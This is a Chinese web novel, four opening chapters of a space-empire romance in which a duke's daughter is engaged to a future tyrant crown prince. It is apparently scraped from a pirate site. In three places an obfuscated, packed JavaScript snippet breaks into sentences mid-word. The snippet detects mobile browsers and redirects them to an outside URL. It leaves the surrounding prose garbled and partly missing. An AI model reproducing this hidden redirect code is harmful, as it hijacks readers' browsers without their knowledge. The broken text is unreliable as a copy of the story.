《和暴君相爱相杀[星际]》 1. 第 1 章 神启 星历3751年,伴随着科技的进步和寿命的延长,平均年龄接近300岁的人类早已跨越人种的偏见与界限,国家与民族的概念也变得更为宏大,银河联盟中最勇敢的人们踏出银河系,开始向更深处的宇宙征伐迈进。 星历4299年,星际协会成立,主体坐落于银河联盟数亿光年外的洛伦星系。表面上称为协会,但实际人们都很清楚,这个正在向外无限扩张收复那些先头小聚落的庞然大物,已然是一个毋庸置疑的帝国。 星历5364年,星际协会的最高领袖——第二十届星际协会首席秘书长,在协会枢密院十二位资深书记官的拥戴下正式称帝。星际协会更名为星际帝国,并与银河联盟签署不对外扩张协定,宣布共同维护宇宙安宁。 而如今,星历6355年,在银河联盟作为首都星的赫斯塔星球上,被世人尊称为大公的赫斯塔公国领袖林慕家中,不安的氛围正在蔓延。 “我已经与帝国的特使接洽过,阿沅与帝国那位皇储的联姻就这样定下,这件事没有任何转圜的余地了。” 刚结束晚宴回到家中的林慕连礼服都没来得及换下,便将夫人和一双儿女召集在一起,宣布这个重大的消息。吊灯的灯光避过他高大的身形落在华美的地毯上,投下一片小山一样的阴影。 长女林沅往日精致柔顺的黑发此时略显毛躁地随意别在耳后,显然是疏于打理的缘故。如墨的眼瞳蓄了将落未落的泪。她低下头,长长的睫毛扑闪,两只手紧紧绞着膝上的睡裙,艰涩开口:“父亲……” 她刚刚试图开腔,却被林慕打断:“我不明白,林沅。” 林慕走过一脸担忧的大公夫人,走过面无表情、随意摊开一本书来阅读的林深——林沅小三岁的亲弟弟——在林沅旁边的单人沙发上坐下了。他尽量缩小自己投在女儿面前的阴影,试图让这场沟通显得不那么像在质询。 但弥漫的焦灼就像逐渐冷却的蜡油,慢慢凝固了这一小片空气。 “我不明白。在去年的星际联谊上随手一指,宣布自己一见钟情要嫁给皇储,然后闹得人尽皆知的人是你。原以为帝国会有所怪罪,毕竟现在的银河联盟……可他们顺水推舟答应了这场联姻,你还有什么不满意的呢?” 双十年华的公主带着涉世未深的稚嫩,和眼底藏不住的惶恐焦急,泫然欲泣:“父亲,从前是女儿不懂事,如今我夜夜向西莉亚神女忏悔祈祷……这是我们家族的信仰啊!神女给了我指引,这是一场不祥的婚姻。” 一滴晶莹的眼泪恰到好处地滚出眼眶:“我们怎么能背弃自己的信仰、违背神女的启示呢?” “够了,林沅。”林慕的脸色并不好看,他霍然起身:“正因为是信仰,才不能作为你一次又一次胡乱玩闹的工具。” 他在往日最疼爱的女儿面前站定,不动声色遮掩住一丝潜藏的忧虑:“我还有公事要处理,这几天你就好好待在家里,哪也不许去。” 大公夫人舒晏急忙送他去了书房,然后转身担忧地走回默默垂泪的女儿旁边。林深早已趁机抱着书消失得无影无踪,偌大一个客厅只剩母女两人。 舒晏坐到林沅身旁,温柔又无奈地把林沅搂在怀里:“沅沅,你这几天……到底是怎么了?不怪你父亲生气,这不是普通的婚姻,何况又是你自己哭着闹着要嫁给那位殿下,你父亲才去求告的……好端端的,怎么反悔了呢?” 林沅抱着母亲,嗓音还是刚哭完的微哑:“母亲,真的一点转圜的余地都没有了吗?” 舒晏微微叹气:“沅沅,千百年前,银河联盟与星际帝国的确也曾平起平坐……可如今,联盟内忧外患、自顾不暇,帝国却野心勃勃、如日中天。何况你父亲只是一个公国领袖,不是联盟的领袖,他力不从心的地方太多太多了。” 林沅静静地抱着大公夫人。 过了一会儿,仿佛下定了什么决心,她随意用手背蹭了几下眼睫,从母亲怀里挣脱出来:“并不是女儿找借口欺骗,神女真的在梦中给予了指引。我梦见了我和那位殿下结婚后发生的一切,但是没办法说出来。总之、总之,无论这婚结不结得成,您一定要让父亲提防那个皇储!” 舒晏被女儿认真的语气骇了一跳,疑惑地望着她,林沅也回望过去:“女儿大错既已铸成,也只好认命。但想请母亲提醒父亲往后务必小心提防……” 她停了停,似乎思考了一会,又小声补充道:“不是身为岳丈提防女婿,而是——” 林沅紧紧盯着大公夫人的眼睛,一字一顿:“——为联盟提防帝国!” 和母亲谈话后,林沅魂不守舍地走回房间,却在开门前瞥见林深站在她房间旁边一尊巨大瓷质花瓶的阴影里,吓了一跳,嗔怒道:“你怎么一点不出声地站在这里,鬼似的,人吓人吓死人!” 林深勉为其难放下书,懒洋洋地看着她:“往日你从不在意什么家族信仰,更不用说向神女祷告了。” 他似笑非笑地走近林沅:“这样的信徒也能得到神启吗,姐姐?” 林沅不动声色地舒了口气:“我还以为什么人生大事,难为我们大科学家在这里屈尊降贵地等着我。不过是神女心善,愿意拯救愚众罢了,我现在诚心诚意地皈依,不恰好应了这神启吗?” 林深轻推了下无框眼镜,镜片后墨色的杏眼和姐姐如出一辙,只不过这墨色仿佛更加深不见底,让人捉摸不透。他的语气中总有种懒洋洋的气质,林沅讨厌极了他这种莫名的轻蔑,像是天才俯视凡人——好吧,不得不承认,在科学方面,他可能真是个天才。 “原来是这样啊——”林深一开口,那种不经意地轻蔑就又来了,林沅真想像小时候那样揪住他揍一顿,奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616708|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何大家都不是小孩子了。她只能忍着气听林深继续说到:“还好是神启,我还以为是穿越重生呢。” “哈?”林沅突然尖锐地笑了一声。她站直了身体,双手交叉抱在胸前,微微抬起下巴,显出一个略带抗拒和防备的姿态,语气也不自觉地更加讥讽起来。 “太好笑了。大科学家脑子里终于不装科学定理了?还是你准备深入研究早已被科研协会证明‘绝无可能’的时光机,来实现你的穿越大梦呢?” 林深只是微微叹了口气,好像并不在意姐姐说了什么。 但林沅没想放过他:“今年生日父亲刚送了你一副新眼镜,装配了可以虚拟投屏的无度数镜片。你天天戴着它却还是只看那几本都快翻掉页的老古董。人人说你好学,我真怕哪天打开一看,结果里面全是什么‘穿越、重生’的故事汇。” 不知道这句话哪里戳中了林深的笑点,他不可自抑地乐了起来。好像阳光照进冻土层,融化了整个人与生俱来的冰冷与高傲。 “别急嘛,姐姐。”他摊摊手,满不在乎地退了一步,靠在墙上转头望向窗外的夜空,“重生,穿越,还是神启,这都不重要。我只希望你别再像以前那样做个糊涂虫。这桩婚事许下得如此顺利,是很多人在其中推波助澜的结果。父亲固然宠爱你,也会以联盟的利益为重。” “你转动的只是既定的轮盘,不是意外变更的轨迹。所以,别为了逃避这桩婚姻做出什么蠢事,也没必要为了这个结果伤春悲秋。” “为银河联盟的利益让步,这是身为赫斯塔大公儿女的宿命。” 林沅面无表情地听完,斩钉截铁地送客:“谢谢,科学家先生。但我还是得说,比起你,我早就更能明白什么叫命运。” 林深耸耸肩,转身向走廊深处。但是在消失于光亮尽头的阴影之前,在林沅通过了房间门口人脸验证进屋关门的最后,他仍然忍不住转头。 他问:“姐姐,你有没有听过古地球的一句话——” 林沅没有反应。厚重的房门自动缓缓关闭,发出一声清脆的“咔哒”声,落了锁。 而林深低沉的嗓音幽幽在长廊回荡,像故事里洞悉结局的旁白,为一切作好陈述的注脚。 “——知我罪我,其惟春秋。” 赫斯塔星球的前身,是人类离开不再适宜生存的地球后,在银河系茫茫星海中,重新寻找到的一颗类地行星。 大概是雏鸟情节,他们在这里建造了人造月亮,模拟日月轮转和潮汐更替,又批量繁殖了所有能从地球上带过来的生物。一切一切,仿佛从来不曾离开过家乡。 此时此刻,粼粼银月下的荒野蔓草寂静无声,窗边隐于夜色中的暖白玫瑰悄然生长。 一场戏剧的舞台已经搭好,而演员们正沉溺于各自的欢欣与烦恼中,惶恐窥探命运的跫音。 2. 第 2 章 初见 一周前,罗勒斯星际中转基地。 宏伟冰冷的宇宙飞船漂泊在漫漫星空中,永不停歇地向外发射坐标,为来往的人们指引航向。 包裹在坚硬外壳里的纸醉金迷,被隔绝宇宙辐射的特殊材料小心掩藏。 每一个星历年的年初,一部分血统高贵、家世显赫的年轻人,会收到永久中立的罗勒斯号通过加密通讯发送来的一封邀请函。持续半个星际月的罗勒斯舞会就这样正式拉开序幕。 这是宇宙中最负盛名的宴会。它不仅是权力与财富的象征,更是那些掌握了宇宙中所有经济和政治命脉的家族们将年轻人推向前台的工具。 而一些秘密的合约,包括联姻,就在喧闹奢靡的觥筹交错中,伴随着永不停歇的舞步悄然落定。 宴会的前十三个星际日只是热场,分别在十三个厅中进行一些小型社交活动。 其中最为著名的首日镜厅舞会,就是在一个用整面镜子做墙面和吊顶的大厅中,戴着面具的年轻男女们手牵手,像八音盒里的王子与公主一样,用熟稔的舞步做社交的先行军。明亮的灯光照亮他们曼妙的身姿,倒映在天花板上。 伴随着悠长的音乐,他们会不停地跳舞,不停地交换舞伴,并在向下一位舞伴交付掌心前,为他们中意的对象留下一枚信物。当然,若是不中意,就只能像一朵云彩那样轻盈地拂过了。 而在第十四个星际日,整个舞会将转移到罗勒斯号最大的晚宴场地——玫瑰大厅中,将气氛推向最热烈的高潮。 这里其实更像是一场婚礼的举办地。整个大厅的中心,旋转而上的人造大理石台阶仿佛一个倾斜倒扣的巨大扁海螺,通向最高处能容纳两三百人同时站立的圆台。 这种石材有着极其特殊的结构和硬度,使得实际支撑整个舞台的只有圆台下那几根柱子,却不必担心安全性。 台阶栏杆和白色扶手缠绕满了上万朵当天新鲜采摘打刺的红色玫瑰,一直延伸到圆台边缘——整圈玫瑰花丛中。 宴会的发起人通常会邀请近期最受欢迎的乐队、歌唱家、歌舞剧团队,在圆台上一刻不停地表演着,烘托热烈的气氛。 圆台边的正下方,一条条金色的水晶灯带密集垂落,遮掩支撑圆台的石柱,也为远处的玫瑰晕上一层柔和的暖光。于是整个舞台看起来又像是一只有着黄金高跟、白色鞋底、玫红鞋面的舞鞋。 房间地板的每一处,哪怕是最不起眼的角落,也全都用金边在地面上勾勒出姿态各异的巨大白色玫瑰。 空间中错落飘浮着一座座玫瑰造型的水晶灯,用向着天空热烈生长的姿态,将整个大厅映照得灯火辉煌,也照亮天花板上那幅《永不熄灭的星辰》——曾经星际协会时期,最负盛名的写实派画家耗时一年亲手为罗勒斯号绘画的,巨大飞船穿行于宇宙浩瀚星海的身影。 而画像四周,是从墙面缠绕而至的玫瑰灯。不论花朵还是叶刺全都栩栩如生,和整幅画完美地融合在一起。 据说最初的那位罗勒斯号主人,极富探险精神的罗勒斯先生,他深爱着自己年轻漂亮、出身于银河联盟保守派党魁家族的夫人。 而银河联盟保守派一直闻名于对古地球生态的复原,玫瑰更是他们最成功的文化符号。 作为党魁宠爱的小女儿,罗勒斯夫人钟情于各式各样的美丽玫瑰,并把种子带到了她新婚的爱巢——罗勒斯号上。罗勒斯先生用他的耐心和财富,帮助妻子实现了在这里培育玫瑰的梦想。 这个宇宙著名的玫瑰大厅,也是罗勒斯先生特意为他的夫人所打造。 地板上的每一朵玫瑰,都是他聘请大师级的画师设计描绘。每一朵花瓣都有自己的曲线与弧度,绝无一片完全重复。 又因为罗勒斯夫人喜欢热闹,擅长跳舞,罗勒斯先生便用自己广交的人脉发起了第一次社交舞会。 宇宙的时间千年一瞬,斯人皆已逝去,装着罗勒斯夫妇二人遗骸的盒子按照遗嘱在太空中飘荡,舞会的传统却伴随着罗勒斯家族的传承保留下来。并成为他们辗转于各方星际势力最大的倚仗。 他们一年年修复并保养着整个宇宙飞船和每一个舞会场地,等待着新一轮宾客的到来,装点一场富丽堂皇的大梦。 而林沅,就是在这样一场大梦中,第一次远远望见未来的丈夫——星际帝国的皇储殿下,同时也是将要名震寰宇的暴君——威廉·霍恩海姆。 但当她再次走进这座玫瑰大厅的时候,心中却没有任何关于即将朝圣于命定姻缘的喜悦,只有无尽的尴尬和自嘲。 这样尴尬的心情,在一句句各怀鬼胎的“日安,尊贵的赫斯塔公主殿下”中,缠绕盘旋,攀至顶峰。 她知道,每一声日安后面藏着的,都是一句类似于“那个银河联盟首都星来的、没有丝毫自知之明的蠢笨公主”这样的嘲讽。 毕竟“得益”于她第一次参加晚宴时惊鸿一瞥后,在公共社交软件甚至公共场合的每一句“爱的宣言”,一星际年以来,整个宇宙怕是没有任何一个有人类存在的角落不知道她痴情于帝国皇储殿下的盛名。 但是有什么办法呢。当她终于有幸明白了一切的那一刻,她正在自己的房间中,懵然看着来自于罗勒斯号的加密请帖,连喜悦的眼泪都还没来得及擦干。 从那一刻起,这场邀请就成了进退两难的烫手山芋。 于是林沅在经历了装病拒绝邀请被家庭医生识破、推迟飞船行程但仍然在第十四日前抵达罗勒斯号、毁坏礼服但立刻收到侍女递上的备用款之后,她终于可耻地认命了。 为了支撑“赫斯塔公主殿下”这个名头下最后一点点没有被以前那位败掉的荣光,她腆着脸出现在玫瑰大厅,毫不失礼地拜会了现任罗勒斯家主。 然后体面尊贵地落荒而逃。 但命运之所以称为命运,便是因为它是不可更改的铁律。 当林沅强撑着离开大厅,慢慢走过挂着历代罗勒斯家主和夫人画像的长廊,远离了喧嚣的人群后,她终于忍不住越走越快,最后甚至提着晚礼服的裙摆奔跑起来。似乎是想把多日来积压的忧虑全都甩在身后。 晚宴开始后,随行的侍女和亲卫们都已退至赫斯塔公国的飞船上等候,在罗勒斯号身后缓缓随行。 终于有这么一点喘息的时间,没有人时刻看着她,告诫她什么能做什么不能做。 她短暂地自由着。 但不幸的是,自由的鸟儿在中轴对称设计的飞船上认错了来时的方向,迷了路,往相反的道路上越走越远,直到闯进飞船尽头一片一眼望去仿佛无边无际的白色玫瑰花园。 这是其中一对老罗勒斯夫妇,在终于成功复刻了从未有人见过的白色洛丽玛丝玫瑰后,为所有生于斯逝于斯的先辈们建造的花园。 这片花园位于飞船的最前端,像是白衣摇曳的天使,保佑着罗勒斯号的宇宙航行平安顺利。 这是罗勒斯家族精神上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616709|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“英灵殿”。 漫无边际的白色玫瑰受到宇宙环境的影响,比林沅在赫斯塔星上见到的更加高大,花朵也更加丰盈美丽。 模拟环境系统似乎还设计了微风,一阵清凉拂过,同月光一般柔软皎洁的花朵轻轻摇曳,花香幽幽四溢,仿佛平静的海面生起一点微小的涟漪,一层一层向远处叠去。 船首顶端的透明材料隔绝了辐射,却没有隔绝宇宙的星光。一瞬间林沅好像回到了地球夜晚的海边,银色的月光倒映在海面上,随着海浪一层一层破碎又重聚,无休无止地飘摇。 林沅被这景象美得几乎忘了呼吸,提起银白的裙摆,沿着玫瑰丛中的小径,一点点向里走去。她沉浸在花香里,几乎要忘记了现实的忧愁与烦恼,原谅了命运的捉弄和玩笑。 却不知哪里传来一声轻咳,在她听来像炸雷般让人惊醒。林沅瞬间惊觉自己私自闯入主人家的花园太过失礼,慌不择路地向一边比较低矮稀疏的玫瑰花丛中躲去。 没跑几步,却因为只有微弱的星光而在黑暗中看不清前路,险些被一丛玫瑰拌倒。 她正要不顾形象用双手强撑住自己不要压倒脆弱的玫瑰,却被一双有力的手扶住,帮她站了起来。 一点有别于玫瑰的气味和来自人类的热气横在林沅面前,她略微抬眼却只借着微光望见穿着妥帖军装的胸膛。 林沅努力扬起头,银灰色的发丝和湛蓝色的双眼在被黑暗模糊的世界中勉强显眼,这一点过于明显的特征却足够让她惊觉眼前这人到底是谁。 带着些许玩味的沉着嗓音打破了短暂的沉默:“要不是一个人突发奇想走到这里,我真的要怀疑您已经发展到买通仆人跟踪我的行程了,赫斯塔的公主殿下。” 如今的宇宙中,每个星球的官方语言基本都是古地球时期的中文、英语和法语这三种,唯有排序上有所细微差别。只剩星际帝国仍然仅把英文作为唯一的官方语言。 但仿佛为了尊重林沅,威廉对她讲的是普通话——银河联盟的第一官方用语。 林沅急忙从他怀里退开,却一时紧张地连行礼都忘记了。 好在威廉·霍恩海姆并没有太想为难自己的狂热追求者:“没关系,两个不守规矩的坏人,应当互相保守秘密。” 林沅明白他指的是两个逃离晚宴的客人,在主人家的珍贵花园中尴尬相遇这件事。 她又小心退开了一点,撑着裙摆在玫瑰丛中匆匆行了一个变扭的请安礼:“日安,殿下……抱歉打扰到您了,我这就离开。” 威廉安静了一瞬,却笑着向着她伸出手:“虽然我自认不是什么绅士,也并非洪水猛兽吧?来吧,这里光线不好,我送你。” 林沅恨不得离他远远的,但对方这样友善,就算是假装的,也不好拂了人家面子。 可她又打心底里不想碰他,于是便递出一把小巧的折扇来。 这是今天为了配她这身备用的晚礼服,侍女特意挑选的搭配。原本不过坠在腰间做个点缀,这时候却派上了用场:“不敢冒犯殿下,还请您……用这个吧。” 威廉没再说话。只是接过了那把小巧的折扇,勉强把两个人指尖的距离隔开了一两厘米自欺欺人的长度,慢慢牵引着林沅走到了这片洛丽玛丝玫瑰丛的边缘。 长廊的灯光和花丛的阴影,恰好将两人分隔在明暗交界的两端。 林沅在暖光下向威廉行礼道谢,然后毫不犹豫地转身向外走去。 3. 第 3 章 计划 虽然人类已经远离了故乡,但在星际计时法之外,银河联盟仍然保留了24时制。 于是人造卫星绕着赫斯塔旋转一周,便是时间流逝一个昼夜。模拟大气层按部就班完成日与月的轮转更替。 崭新的一天,朦胧温暖的晨光从遥远的地平线缓缓升起,橙黄明透的色彩逐渐铺展了整个天幕,也浸染了赫斯塔大公官邸侧方十几米高的“公主塔”。 这是林沅小时候的突发奇想。五岁的她听完母亲讲述的童话故事,说这样可以幻想自己是高塔里的公主,从小而窄的彩玻璃窗户向外眺望童话中不远万里骑马赶来的王子。 为了方便王子拯救公主,年幼的林沅敲定这塔不必过高,十几米就够了。没想到囤积的彩绸没能牵引王子,小小的窗户倒成了她十几年来监视家庭教师行踪的前线。 如今二十岁的林沅推开窗眺望她从小到大一点点布置好的绿荫、鲜花、绵白柔软的羊群,还有和羊群混为一体的“浮云”——林深十岁时通过天气模拟系统编程送她的生日礼物,林沅幻想中可以在草地上飘来飘去的云——却只能撑头叹气。 “殿下——”塔下拥有一头金灿灿半长卷发的年轻家庭教师向林沅招手,他长着一张瓷白的娃娃脸,蔚蓝的眼睛像芭比那样大而闪,笑容和他的金发同样辉煌灿烂,整个人好像童话故事书里带着光环的小天使。 他气喘吁吁地跑进书房,早已经在此等待的林沅发现,这个娃娃脸的家伙实际拥有着一米八以上的身高。好在细看之下深邃的眼窝和高挺的鼻梁中和了一点稚气,不会太过有违和感。 “早,维奇先生。”林沅站起来,恭敬而谨慎地打了个招呼。其实这位两年前上任的家庭教师的全名是一长串被林沅称为“叽里咕噜”的文字加上最后的“维奇”,因为她记不住所以一直只称呼最后两个字。 “请坐吧,殿下。您现在突然这么客气我真是有点不习惯。”维奇挠挠头,微笑着,带着几分憨厚和稚气。 “您是我的老师呀。以前是学生不懂事,客气是应该的。”林沅笑着亲手斟上茶水,时不时打量着他,让维奇突然觉出几分心虚和不自在。 他们上课的地方是林沅和林深共用的一间书房。整个房间被一排相对的书桌从中间分开,书桌中间用作隔断的地方铺满了绿植,像是被一柄利剑划出楚河汉界,分出截然不同的两边。 属于林深的那边是简单到冰冷的铁架,高耸至房顶的架子上面分门别类摆满了他所有的藏书,很多甚至是他亲临古地球淘来的文物。除此之外只有一个圆弧形沙发添出几分柔软的氛围。 而属于林沅的这边风格则截然不同,随处可见的盆栽绿植、优雅精美的钢琴、温暖柔软的羊绒地毯,甚至还有一个仿制的壁炉。阳光透过窗子洒在她空白的画架上,又从地毯的绒毛间溜走。 而维奇温和的嗓音伴着阳光,有种莫名让人安定的力量:“最近还好吗,殿下?我听说了联合公告的事情。请您放心,大公不许您出门,也是想要保护您。等时局安定,我会带您回海伦学院去参加考试的。” 联合公告指的就是沸腾了整个星际八卦圈子的联姻公告。联盟和帝国共同宣布,银河联盟首都星赫斯塔大公的女儿林沅与星际帝国的皇储殿下威廉·霍恩海姆正式缔结婚约,订婚仪式将于下一个星际年的第一天完成。正式完婚的日期待定,大约于双方完成全部学业后。 在赫斯塔大公宣布不许林沅出门的第二个星际日,赫斯塔星的时间过去两个昼夜,这个匆匆敲定的公告就通过星际传媒送达了全宇宙几乎每个角落。 今天是林沅在大公官邸没能出门的第三天,好在维奇终于从星际帝国那边结束差事,先大公一步赶回来给她上课。 “大公的意思是,他不能再纵容您任性了。这些天我主要给您补习一下海伦学院文学专业的基础知识。最起码要让您回到学校去参加考试,在社会里和旁人多接触一下……虽然,我觉得您现在这样就很好。”维奇的眉眼带着几分忧愁,说话的时候并没有看着林沅,思绪仿佛飘去了很远的地方。 林沅却一直在审视着他,神情平静到甚至有些许冷漠:“先生,我确实已经想好了。也许人真的生来便带着命运既定的剧本……” 维奇有些惊讶地转头看着她:“殿下,您为什么说这么丧气的话呢?” 林沅笑着起身,轻盈的绸缎裙边随着她娉婷袅娜的步伐一摇一摆地飘动。她背对着维奇走到窗边,在阳光下侧身望向他:“老师,我这几天一直在思考一个问题,却得不出答案,所以想请教您。” 维奇点头示意她继续。 “所有人都知道我从前是个浑浑噩噩的酒囊饭袋,只懂得顶着赫斯塔大公女儿的光环享受着醉生梦死的人生,能做出来最轰轰烈烈的事情就是在去年的联谊舞会之后对星际帝国的储君愚蠢又高调地示爱。论地位我父亲不是联盟首脑,论才华我从未接受过联盟系统的教育,论人品名声……更是在去年那时候就已经一败涂地了。” 她的声音沉静,仿佛在叙述着与己无关的人生,就连望着维奇的眼神也同声音般冰冷:“您说,这样的我,为什么帝国的储君会同意这场联姻呢?” 维奇的表情有点奇怪,他看着林沅,一时不知道说什么好,好半晌才出声安慰她:“您温柔,美丽,又是大公的掌上明珠,在整个银河联盟人民心中……” 林沅忍不住笑着打断他:“老师,您说的话,您自己相信吗?” 维奇有些无奈,站起来走到林沅对面,两个人一同沐浴在阳光下:“不论是两年前我第一次见到您时,还是现在,您一直都是我教过的最好的学生。” 林沅侧对着他,半垂着头望着地面,几缕发丝遮掩了她莫测的神情:“老师,从我收到联谊会的邀请函开始,我一直试图做些什么来逃脱某个巨大的漩涡,可无论我怎么挣扎旋转,命运一直一直都在向它既定的方向前进……” 维奇的神情仍然温柔:“殿下,如果不去亲临一遭,您又如何能知道那命运不是驶向美好的旅途呢?” 林沅侧着抬头,是一个从低处仰望的姿态,可维奇莫名觉得她好像站在高处俯视着自己。那几缕发丝好像细密的裂痕,把她的神情分割得有些凄厉,声音却仍然还是不疾不徐:“因为我,是站在终点,看着我的人生啊。” 维奇不大明白她在说什么,但内心的警钟却剧烈地敲响,在他还没有做出应对之前,林沅整个人却突然从那种紧绷的状态解放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我干嘛还要继续在银河联盟上学?”林沅神情有些戏谑地打断他:“为了当好这个未来的储君夫人,当然要去了解星际帝国的社会生态啊。我准备报考的学校……算了,先不考虑这个,等我把海伦学院的事顺利搞定了再跟您商量吧。” 她撑着头,手仍然还在屏幕前不停地翻着,一目十行地获取信息:“从今天就开始按照我规定的日程上课吧……您没什么问题吧,老师?” 她转向维奇,一脸平静,却很显然是不容拒绝的神情。维奇有些犹豫道:“今天恐怕不行,殿下。如果要改课程时间的话,我恐怕要回一趟帝国那边,家里可能有些紧急的事务要先确认一下。” 林沅漫不经心地笑着道:“当然可以呀,这是您的自由。”她转向维奇,那种微带戏谑的神情又回到脸上了:“您身为星际帝国的公民,愿意不远万里来到银河联盟为我传道授业解惑,是我的荣幸。我一直打心里感激您。” 林沅站起身,为维奇续了一杯茶。她身后是银河联盟赫斯塔星球天气模拟系统创造出的灿烂朝霞,为她镀上一层耀眼的金边。墨色的眼睛里仿佛盛着迷惑人心的漩涡:“虽然星际迁移非常便捷,还是祝您一路顺利。” 她逆着阳光,向兰米斯蒂斯·摩尔维亚·科里维奇伸出手:“在我到达举目无亲的星际帝国那一天,您也仍然会站在我身边,对吧,老师?” 4. 第 4 章 求婚 “在浩瀚无穷的宇宙时空中,永远有各种各样的危机与艰难险阻在暗处潜伏。愿你们走出校园,仍然还铭记自己在阳光照耀的课堂中,为人类群体许下的誓言:为传承人文历史不灭的火光,一刻不停地执炬向前……” 头发和胡子连成一片花白的老院长在海伦学院大礼堂的舞台上做毕业演讲,每讲一句话他嘴边的胡子就会一颤一颤地波动,连带着头发也一层层地向上拱起,让台下观礼的林沅想起赫斯塔大公官邸附近那群白白胖胖的绵羊,风一吹,没来得及修剪的羊毛就会像刚出锅的棉花糖那样微微颤动,伴随着此起彼伏的“咩……咩……”声。 她还没来得及笑出声,思绪就被一旁的同学们打断了。 亚麻色长发、脸上带着点点小雀斑的姑娘穿着波西米亚风的衣裙,像草原上奔跑的野兔子一样匆忙路过,给林沅怀里塞上一大束野花,又一把牵起她的手。周围都是各样肤色的女孩子们,她们热热闹闹地笑着、互相簇拥着,奔跑上讲台,和老师们拥抱合影。林沅也被围在中间。 这是每个银河纪年在年末时的毕业季,海伦学院又一次送别了一批学士毕业的女孩子。 “虽然科技发展到现在,还好没有出现什么吃一颗药丸就掌握全部知识的古怪东西。”“雀斑”姑娘凑在林沅耳边大声喊道。人声鼎沸,林沅勉强才听出她在讲什么。 “要不然。”她继续喊着,“多没有意思啊!我们也不会凑在这里一起上课了。” 好不容易合完影,林沅其实根本记不清叫安娜还是安妮的热情姑娘又护送着她离开人群。两个人为毕业准备的衣服都挤出了褶皱,林沅的头上还不知道被谁扣上一个快被扯坏的花环。 她们躲在礼堂的角落,两个人的衣服口袋里塞了满满的糖果和饼干。 “也许你不记得啦,我叫安妮,我们是一个班的呢。”安妮伸手帮林沅整理着头上的花环,声音洋溢着仿佛永远用不完的热情。她翻了翻背包,像变魔术一样又找出两瓶印着“海伦学院”名字和校徽的咖啡,两个人坐在角落的木桌上,躲避拥挤的人群。 “说实话。”她看着林沅的眼睛,有些羞涩地憨笑着,“我们都以为你不会来上课了呢。海伦学院虽然是不太出名的女子学院,可是跟联盟其他的学校一样宽进严出,考进来容易毕业难。不过你是公主殿下嘛,我们都以为你不会在意这个。” “怎么会呢?”林沅温和地笑着,撕开一包饼干递给她:“我很喜欢文学,只是之前身体不好,一直没来上课。” “是呢,我们每年都会听说,公主殿下又生病啦,不来上课了。”安妮有一双浅栗色的眼睛,她吃着饼干,脸颊鼓鼓的,白到透明的皮肤带着不太明显的雀斑,莫名让林沅想起林深在实验室里养的那只吃橡子的小松鼠,可爱极了。 “说真的,我们都以为是借口呢。”安妮很不好意思地笑着:“谁知你一来就过了十二门课,而且公开答辩表现得那么好……天呐,你不知道,那天我坐在下面看你,感觉你在发光!” 林沅不停地给她递吃的,感觉自己在投喂一只星星眼的小动物。 “我以前……”林沅话音还未落,人群中靠着礼堂大门那边似乎有什么骚动,气氛瞬间变得像是更加滚烫的热油,快要把礼堂的屋顶掀开。 老师们忙着维持秩序,礼仪人员匆匆忙忙上台清场,拥挤的人群被引导开一条通往讲台的路。 “谁啊谁啊,让我看看。”安妮瞬间兴奋起来,把没吃完的饼干和咖啡全塞进林沅手里,三两下爬上旁边更高的桌子东张西望。 这下林沅真的狼狈极了。她臂弯里裹着先前安妮塞给她的、用报纸简单扎起来的野花,手里还拿着两瓶咖啡和半包饼干。 两颗带着小翅膀的机器圆球又飞到她耳边,用机器人声模拟着尖叫的语气:“殿下,我们可算找到您了,您安全吗安全吗安全吗?”接着围着她“嗡嗡”地转来转去又尖叫着不知跟谁汇报:“殿下安全!殿下安全!” 人声不知道为什么也越来越吵闹,她似乎听见有人还在喊着她的名字。人们频频四处张望,终于有人锁定了这个角落,惊喜地大喊:“殿下在这儿呢!” 林沅有种自己被他们逮捕了的错觉。乌压压的人群全回头向这里张望,甚至自觉往两边散去,给她拓开一条小路。 旁边观察了半天的安妮终于一声不吭地慢慢爬了下来,好像受到了惊吓。她用胳膊支了支林沅,朝前方努努嘴,在她耳边小声道:“天呐,你的……皇储殿下来了。” 确实,不用安妮总结,林沅也看到了。他们隔着人群,依靠这条自觉散开的小路远远对望。即将走上高台的威廉·霍恩海姆依旧身着军装,银灰色的头发和湛蓝的瞳孔带着坚冰般肃穆的冷意。 他远远看见林沅狼狈的样子,却突然笑了,好像春日暖阳下,冰融雪消。 海伦学院的礼堂并不算太大,但却是有着悠久历史的仿古地球建筑。深棕色的再生木墙上,历年优秀毕业生的画像悬挂于四周。整个室内飘荡着悠悠的松香,混合着咖啡、饼干、糖果还有鲜花的气味,在林沅的记忆中扎根生芽,悠远绵长。 这一刻的画面在她的余生回忆中始终占有一席之地。好像电影中刻意拍摄的慢镜头,时间轴被不断拉长、延伸,直至扭曲,旋转潜藏于宇宙最深处。 “快去呀……”安妮从后面轻轻戳着林沅,“他在等着你呢。” 林沅摇了摇头。在这样人人欢欣的场景中,她却只感觉出从脊髓深处攀折蜿蜒而上的丝丝寒意。 